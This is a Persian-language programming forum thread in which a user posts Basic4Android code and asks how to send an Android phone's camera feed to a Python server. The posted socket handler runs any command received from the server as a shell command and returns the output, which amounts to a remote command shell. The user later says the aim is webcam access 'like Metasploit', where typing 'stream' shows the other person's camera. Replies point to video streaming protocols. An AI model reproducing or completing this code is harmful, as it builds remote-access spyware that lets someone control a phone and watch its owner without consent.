PDA

View Full Version : راهنمایی در مورد ارتباط اندروید به سرور



eletcomp
جمعه 22 تیر 1397, 21:14 عصر
با سلام و خسته نباشید
من میخوام بین اندروید با پایتون از طریق برنامه نویسی سوکت ارتباط برقرار کنم : به طوریکه بتونم اطلاعات دوربین را مثل وبکم به صورت زنده یا به صورت عکس به سمت سرور بفرستم : برای فرستادن دیتا به سمت سرور از این کد استفاده میشه send.Write(allapp.GetBytes(“UTF-8”)) الان سئوال اینجا هست که اطلاعات مثل تصویر چطور باید به سمت سرور ارسال کرد؟ مثلا باید به بایت تبدیل بشوند یا روش دیگه ای داره؟ میخوام از یکسری کد استفاده کنم و خروجی اش را به سمت سرور بفرستم

نمونه کد ارسالی به سرور


Sub s1_Connected (Successful As Boolean)

If Successful = True Then
Log("Connected !")
send.Initialize(socket.InputStream,socket.OutputSt ream,"data")
End If
End Sub

Sub data_NewData (Buffer() As Byte)

Dim newdata As String
newdata = BytesToString(Buffer,0,Buffer.Length,"UTF-8")

If newdata = "allapp" Then

Dim allapp As String
allapp = Application.LabelName
send.Write(allapp.GetBytes("UTF-8"))

Else
s.Initialize
p.Shell(newdata,Null,s,Null)
Dim cmd As String = s.ToString
send.Write(cmd.GetBytes("UTF-8"))
End If



نمونه کد دوربین


Sub Globals
Private pnl_1 As Panel
Private img As ImageView
Dim ca As Camera
End Sub

Sub Activity_Create(FirstTime As Boolean)
Activity.LoadLayout("l1")
ca.Initialize(pnl_1,"cam")
End Sub

Sub cam_Ready (Success As Boolean)
If Success Then
ca.StartPreview
Else
ToastMessageShow("خطای دوربین",False)
End If
End Sub

Sub Activity_Resume

End Sub

Sub Activity_Pause (UserClosed As Boolean)

End Sub

Sub btn_take_Click
ca.TakePicture
End Sub

Sub cam_PictureTaken (Data() As Byte)
Dim ou As OutputStream
ou = File.OpenOutput(File.DirRootExternal,"pic.jpg",False)
ou.WriteBytes(Data,0,Data.Length)
ou.Close
ToastMessageShow("عکس ذخیره شد",False)
img.Bitmap = LoadBitmap(File.DirRootExternal,"pic.jpg")
End Sub


سپاس

hamed9090
یک شنبه 24 تیر 1397, 11:05 صبح
دوست عزیز اینجا اکثرا جاوا کار هستن به نظرم تو فروم های مخصوص بیسیک فور اندروید بپرسید راحت تر و زودتر به جواب میرسید

amin8894
شنبه 30 تیر 1397, 16:23 عصر
سلام دوستان من مییخوام بدونم که آیا میشه برای برنامه نویسی سمت سرور یک اپلیکیشن از ruby on rails استفاده کرد ؟ و آیا کسی آموزشی در این رابطه میشناسه تا بتونه به من پیشنهاد بده؟ و این که اگر امکان پذیره چطور باید این برنامه نویسی رو انجام داد؟ ممنون میشم اگه منو راهنمایی کنید

Restlesa
شنبه 30 تیر 1397, 22:04 عصر
دوست عزیز ارسال زنده ویدئو مربوط به بحث Video Streaming میشه که پیاده سازی اون کاملا تخصصی و صد البته هزینه بر هستش
شما برای پیاده سازی این روش اول باید یه مطالعه ای بر روی پروتکل های جریان ویدئو «Video Streaming» مثل rtmp و rtsp داشته باشین.
بعد از اون باید ماهیت و هدف جریان ویدئو رو مشخص کنید. آیا این نرم افزاری که مد نظر شماست یه برنامه امنیتیه یا نه؟ اگر برنامه ای امنیتی محصوب میشه پس باید یه مطالعه ای هم بر روی کدک MJPEG داشته باشین.
همچنین باید مطاله و تخصص بر روی نحوه کار کردن با نرم افزارهای وب سرور مخصوص جریان ویوئو مثل Wowza داشته باشین.
اما اگه نمی خوای بصورت اصولی این کار رو پیاده سازی کنی می تونی مطالعه ای روی دو تا لینک زیر داشته باشی.
Live-stream video from one android phone to another over WiFi (https://stackoverflow.com/questions/14401340/live-stream-video-from-one-android-phone-to-another-over-wifi)
Streaming video from Android camera to server (https://stackoverflow.com/questions/2550847/streaming-video-from-android-camera-to-server)

eletcomp
سه شنبه 02 مرداد 1397, 18:56 عصر
دوست عزیز ارسال زنده ویدئو مربوط به بحث Video Streaming میشه که پیاده سازی اون کاملا تخصصی و صد البته هزینه بر هستش
شما برای پیاده سازی این روش اول باید یه مطالعه ای بر روی پروتکل های جریان ویدئو «Video Streaming» مثل rtmp و rtsp داشته باشین.
بعد از اون باید ماهیت و هدف جریان ویدئو رو مشخص کنید. آیا این نرم افزاری که مد نظر شماست یه برنامه امنیتیه یا نه؟ اگر برنامه ای امنیتی محصوب میشه پس باید یه مطالعه ای هم بر روی کدک MJPEG داشته باشین.
همچنین باید مطاله و تخصص بر روی نحوه کار کردن با نرم افزارهای وب سرور مخصوص جریان ویوئو مثل Wowza داشته باشین.
اما اگه نمی خوای بصورت اصولی این کار رو پیاده سازی کنی می تونی مطالعه ای روی دو تا لینک زیر داشته باشی.
Live-stream video from one android phone to another over WiFi (https://stackoverflow.com/questions/14401340/live-stream-video-from-one-android-phone-to-another-over-wifi)
Streaming video from Android camera to server (https://stackoverflow.com/questions/2550847/streaming-video-from-android-camera-to-server)

ممنونم دوست عزیز: من یک چیزی میخوام مثل دسترسی متااسپلویت ! زمانیکه شما دستور stream را می زنید وبکم طرف را می بینید! شما ایا می دانید آنها از چه سبکی برای انتقال ویدئو شان استفاده می کنند؟
سپاس

Restlesa
سه شنبه 02 مرداد 1397, 21:47 عصر
متاسفانه نتونستم مطلبی رو پیدا کنم که نشون دهنده این باشه که از چه پروتکلی استفاده کردن اما چیزی که هست اینه که از یکی از پروتکل های
جریان ویدئو مثل rtmp و یا rtsp استفاده کردن